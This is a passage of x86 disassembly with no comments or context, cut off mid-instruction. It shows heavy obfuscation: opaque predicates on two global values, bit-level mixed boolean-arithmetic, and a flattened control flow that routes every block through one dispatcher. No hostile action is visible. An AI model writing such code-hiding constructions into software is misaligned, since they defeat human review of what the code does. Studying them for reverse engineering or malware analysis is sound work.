mov dword [ebp - 0x1b6dc], eax
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
mov esi, 0xd6c93b0d
add esi, 0
sub esi, 0x7337dc74
sub esi, 0xd6c93b0d
mov edx, eax
sub edx, 0x3e269f9d
sub edx, esi
add edx, 0x3e269f9d
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0x73c2f4da
add edx, esi
sub edx, 0x73c2f4da
xor esi, esi
sub esi, 0x5c4ab285
sub esi, 0x7337dc74
add esi, 0x5c4ab285
sub edx, 0xd1714692
add edx, esi
add edx, 0xd1714692
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov ch, dl
and ch, cl
xor dl, 0xff
mov cl, al
and cl, dl
or ch, cl
xor ch, 0xff
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 1
or ch, dl
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x1b9a4], cl
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
and cl, 1
or dh, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, bh
and cl, bl
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0x1b9a4]
or dl, bl
xor al, dl
xor al, 0xff
mov bl, 1
xor bl, 1
mov dl, 1
xor dl, 1
or al, bl
or dl, 1
xor al, 0xff
and al, dl
xor bh, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or bh, dh
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1b9a3], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1b9a3]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f5a164
mov ecx, 0x8b17ed9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xe0b7e75e
jmp 0x4b3015
mov eax, dword [ebp - 0x1b798]
mov esi, dword [eax + 4]
mov edx, dword [ebp - 0x1b6d0]
mov eax, 0x43120d4c
mov ecx, 0x24505967
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor esi, esi
sub esi, 0xbae71d24
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xc807b02a
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xbae71d24
add edx, esi
add edx, 0xa9293acd
add edx, 0x8c357024
sub edx, 0xa9293acd
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x8c357024
add edx, esi
xor edi, edi
sub edi, 0xc807b02a
add edi, 0
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x1ba58], ch
cmp eax, 0xa
setl ah
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and ch, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ch
or al, dl
xor cl, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and dh, 1
or al, bl
or dl, dh
xor al, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, 1
xor cl, 0
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, cl
and ch, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x1ba5a], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1ba59], al
mov al, byte [ebp - 0x1ba5a]
or ch, al
mov al, byte [ebp - 0x1ba59]
or bh, al
mov al, byte [ebp - 0x1ba58]
xor ch, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
or dl, ch
xor dl, 0xff
xor dl, 0
and dl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or bl, bh
or ch, dh
xor bl, ch
mov ch, bl
xor ch, 0xff
mov dh, al
xor dh, ch
and dh, al
mov ch, ah
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
mov al, ah
and al, bh
mov byte [ebp - 0x1ba57], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1ba56], al
mov al, byte [ebp - 0x1ba57]
and bh, 1
or ch, al
mov al, byte [ebp - 0x1ba56]
or al, bh
xor ch, al
mov bh, 1
xor bh, 0
mov al, ch
xor al, bh
and al, ch
xor ah, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, dl
xor al, 0xff
and al, 0xff
and dl, dh
or ah, ch
or al, dl
xor ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, cl
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov byte [ebp - 0x1ba51], ch
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
mov al, ah
and al, dl
or bh, al
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 1
mov ch, bh
xor ch, dh
and ch, bh
mov byte [ebp - 0x1ba53], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1ba52], dh
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x1ba55], al
mov al, byte [ebp - 0x1ba52]
and al, 0
mov byte [ebp - 0x1ba54], al
mov al, byte [ebp - 0x1ba55]
and cl, bl
or dh, al
mov al, byte [ebp - 0x1ba54]
or al, cl
mov cl, byte [ebp - 0x1ba53]
xor dh, al
mov al, byte [ebp - 0x1ba52]
or ch, al
mov al, byte [ebp - 0x1ba51]
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x1ba50], cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, cl
and dh, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dh, al
mov al, byte [ebp - 0x1ba50]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf1f178cd
mov ecx, 0x3bf4492
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b770]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x1b6c4], eax
mov dword [ebp - 0x1b7b0], 0x38c2d95
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor esi, esi
sub esi, 1
add esi, 0
xor edx, edx
sub edx, esi
xor edi, edi
sub edi, edx
mov edx, ecx
add edx, 0x611780b8
sub edx, 0x189cd0df
sub edx, 0x611780b8
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x189cd0df
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov ch, ah
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dl, cl
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or dl, dh
or al, ch
xor dl, al
xor dl, 0xff
mov ch, cl
xor ch, 0xff
mov al, 1
xor al, 0
or dl, ch
or al, 0
xor dl, 0xff
and dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dh, bl
or al, ch
xor dh, al
mov al, ah
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
or ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xef772f6d
mov ecx, 0x9c949408
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b784]
mov eax, dword [eax]
mov dword [ebp - 0x1b6bc], eax
mov eax, dword [ebp - 0x1b778]
mov eax, dword [eax]
mov dword [ebp - 0x1b6b8], eax
mov eax, dword [ebp - 0x1b770]
mov eax, dword [eax]
movzx edi, word [eax]
mov eax, 0xffffffff
xor eax, 0xfff
and eax, 0xa054a89e
mov edx, 0xffffffff
xor edx, 0xa054a89e
mov esi, edx
and esi, 0xfff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xa054a89e
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0x89fcfed3
and eax, 0x89fcfed3
mov dword [ebp - 0x1bbbc], eax
mov ebx, 0xffffffff
xor ebx, 0x89fcfed3
and ebx, 0xca0a4851
mov ecx, 0xffffffff
xor ecx, 0xca0a4851
mov edx, ecx
and edx, 0x89fcfed3
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xca0a4851
and ecx, 0xffffffff
or ebx, edx
or eax, ecx
xor ebx, eax
mov edx, ebx
xor edx, 0xffffffff
xor edx, 0xfff
and edx, 0xfff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x89fcfed3
mov esi, 0xffffffff
xor esi, 0x4d650f4a
or eax, ecx
mov ecx, dword [ebp - 0x1bbbc]
or esi, 0x4d650f4a
xor eax, 0xffffffff
and eax, esi
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov dword [ebp - 0x1bbb8], ebx
mov esi, ecx
and esi, edx
xor ecx, edx
or esi, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0x1bba8], edx
xor ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x7905a2f1
mov dword [ebp - 0x1bbac], ecx
and edx, 0x7905a2f1
and eax, ecx
mov ecx, dword [ebp - 0x1bbb8]
mov dword [ebp - 0x1bbb4], eax
mov eax, ebx
and eax, 0x7905a2f1
mov dword [ebp - 0x1bbb0], eax
mov eax, dword [ebp - 0x1bbac]
and ecx, eax
mov eax, dword [ebp - 0x1bbb4]
or edx, eax
mov eax, dword [ebp - 0x1bbb0]
or eax, ecx
mov ecx, dword [ebp - 0x1bbac]
xor edx, eax
mov eax, dword [ebp - 0x1bba8]
or eax, ebx
xor eax, 0xffffffff
or ecx, 0x7905a2f1
and eax, ecx
or edx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x8227200b
mov ebx, 0xffffffff
xor ebx, 0x8227200b
and esi, ebx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x8227200b
and edx, ebx
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x1199997a
mov esi, 0xffffffff
xor esi, 0x1199997a
mov ebx, edi
and ebx, esi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x1199997a
and esi, 0xffffffff
or ecx, ebx
or edx, esi
xor ecx, edx
xor ecx, 0xffffffff
mov ebx, eax
xor ebx, ecx
and ebx, eax
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov eax, edi
xor eax, ecx
and eax, edi
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0x1bb9c], edx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x51a23853
and edx, 0x51a23853
and ebx, ecx
mov dword [ebp - 0x1bba4], ebx
mov ebx, esi
and ebx, 0x51a23853
and eax, ecx
mov dword [ebp - 0x1bba0], eax
mov eax, dword [ebp - 0x1bba4]
or edx, eax
mov eax, dword [ebp - 0x1bba0]
or ebx, eax
mov eax, dword [ebp - 0x1bb9c]
xor edx, ebx
or eax, esi
xor eax, 0xffffffff
or ecx, 0x51a23853
and eax, ecx
or edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0x3cdd7420
mov ecx, 0xffffffff
xor ecx, 0x3cdd7420
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x3cdd7420
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xe42512e6
mov ebx, 0xffffffff
xor ebx, 0xe42512e6
mov edi, edx
and edi, ebx
mov eax, esi
xor eax, 0xffffffff
and eax, 0xe42512e6
and esi, ebx
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x1b6b4], eax
mov eax, dword [0x62b5d4]
mov ecx, dword [0x62b5d0]
mov edx, eax
sub edx, 0xfe2d2202
add edx, 0xb52a59be
add edx, 0xfe2d2202
sub edx, 0x633b4576
add edx, 0x376c0b11
add edx, 0x633b4576
xor esi, esi
sub esi, 0xb52a59be
add edx, esi
add edx, 0x1965df12
sub edx, 0x7e9827d
sub edx, 0x1965df12
sub edx, 0x828cb211
sub edx, 1
add edx, 0x828cb211
sub edx, 0x6beee3fe
add edx, 0x7e9827d
add edx, 0x6beee3fe
add edx, 0xf44b7ac3
sub edx, 0xd1726723
sub edx, 0xf44b7ac3
xor esi, esi
sub esi, 0x376c0b11
add edx, esi
sub edx, 0x40cee7dd
add edx, 0xd1726723
add edx, 0x40cee7dd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x1bb94], al
cmp ecx, 0xa
setl ch
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov dl, ah
and dl, 0
and bh, dh
mov byte [ebp - 0x1bb96], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x1bb95], al
mov al, byte [ebp - 0x1bb96]
or dl, al
mov al, byte [ebp - 0x1bb95]
or bh, al
mov al, byte [ebp - 0x1bb94]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov bl, al
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
and ah, 1
or dh, ah
mov bl, dh
xor bl, 0xff
mov ah, al
xor ah, bl
and ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
mov al, ch
and al, bh
mov byte [ebp - 0x1bb93], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1bb92], al
mov al, byte [ebp - 0x1bb93]
and bh, 1
or bl, al
mov al, byte [ebp - 0x1bb92]
or al, bh
xor bl, al
mov bh, 1
xor bh, 1
mov al, bl
xor al, bh
and al, bl
xor dh, 0xff
mov bh, ch
xor bh, dh
and bh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1bb91], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1bb91]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xef772f6d
mov ecx, 0x72e714c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b770]
mov eax, dword [eax]
mov dword [ebp - 0x1b6b0], eax
mov dword [ebp - 0x1b7b0], 0xc352dcf9
jmp 0x4b3015
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor esi, esi
sub esi, 0xf5bc1031
sub esi, ecx
add esi, 0xf5bc1031
mov edi, 0x19710d36
add edi, 0
sub edi, 0xc2205f7
sub edi, 0x19710d36
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0x313951cf
add edx, 0
sub edx, esi
sub edx, 0x313951cf
mov esi, 0xd196619c
add esi, 0
sub esi, 1
sub esi, 0xd196619c
sub edx, 0x4715db4c
add edx, esi
add edx, 0x4715db4c
sub edx, 0xa154ebe2
sub edx, 0x41296327
add edx, 0xa154ebe2
sub edx, 0xda17a181
sub edx, 0xc2205f7
add edx, 0xda17a181
add edx, 0x46b95213
add edx, 0x41296327
sub edx, 0x46b95213
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ah
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dl, al
mov ch, 1
xor ch, 1
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov bl, cl
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov al, 1
xor al, 0
or bl, dh
or al, 0
xor bl, 0xff
and bl, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov bh, 1
xor bh, 1
mov al, dh
xor al, bh
and al, dh
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
mov byte [ebp - 0x1bc34], al
mov ch, ah
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dl, 1
xor dl, 0
xor ch, 0xff
mov al, 1
xor al, 1
or dl, ch
or al, 1
xor dl, 0xff
and dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bh, dh
or al, ch
xor bh, al
mov ch, ah
xor ch, 0xff
mov dh, bh
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
xor dh, 0xff
mov bl, 1
xor bl, 0
mov al, 1
xor al, 0
or dh, bl
or al, 0
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
xor bh, 0xff
mov bl, 1
xor bl, 0
or al, bh
or bl, 0
xor al, 0xff
and al, bl
mov bl, dl
and bl, ch
xor dl, ch
or bl, dl
mov ch, dh
xor ch, 0xff
mov byte [ebp - 0x1bc5a], ch
mov bh, al
xor bh, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and dh, dl
mov byte [ebp - 0x1bc5c], dh
mov dh, bh
and dh, 0xff
and al, dl
mov byte [ebp - 0x1bc5b], al
mov al, byte [ebp - 0x1bc5c]
or ch, al
mov al, byte [ebp - 0x1bc5b]
or dh, al
mov al, byte [ebp - 0x1bc5a]
xor ch, dh
mov dh, byte [ebp - 0x1bc34]
or al, bh
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bh
or dl, bl
or al, ch
xor dl, al
mov bl, 1
xor bl, 0
and bl, 1
mov ch, 1
xor ch, 1
mov bh, ch
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bl, bh
or al, ch
xor bl, al
mov ch, 1
xor ch, 1
xor bl, 0xff
mov al, 1
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov bl, 1
xor bl, 0
xor bh, 0xff
mov al, 1
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, ch
and al, bl
xor ch, bl
or al, ch
mov byte [ebp - 0x1bc2d], al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, bl
mov bl, byte [ebp - 0x1bc2d]
or al, dh
mov dh, byte [ebp - 0x1bc34]
or ch, bh
xor al, ch
xor al, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov byte [ebp - 0x1bc57], al
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or bh, dh
or al, ch
xor bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov ch, 1
xor ch, 0
and ch, 1
mov cl, 1
xor cl, 1
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, dl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, dl
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
mov bl, byte [ebp - 0x1bc2d]
or al, dh
or cl, ch
xor al, cl
mov cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov ch, bl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov bl, ah
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x1bc59], al
mov cl, ah
and cl, al
mov al, ch
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1bc58], al
mov al, byte [ebp - 0x1bc59]
and ch, al
mov al, byte [ebp - 0x1bc58]
or bl, cl
mov cl, byte [ebp - 0x1bc57]
or al, ch
xor bl, al
xor bl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or bl, ah
or al, 0
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and cl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, cl
mov cl, byte [ebp - 0x1bc57]
or ah, ch
xor al, ah
mov byte [ebp - 0x1bc4a], al
mov ch, bh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov al, bh
and al, ah
mov byte [ebp - 0x1bc56], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x1bc55], al
mov al, byte [ebp - 0x1bc56]
and ah, 1
or ch, al
mov al, byte [ebp - 0x1bc55]
or al, ah
xor ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, byte [ebp - 0x1bc4a]
mov byte [ebp - 0x1bc4c], ah
mov ah, 1
xor ah, 1
xor al, ah
mov ah, byte [ebp - 0x1bc4a]
and al, ah
mov ah, byte [ebp - 0x1bc4c]
mov byte [ebp - 0x1bc54], al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x1bc53], al
mov ah, ch
xor ah, 0xff
mov al, 1
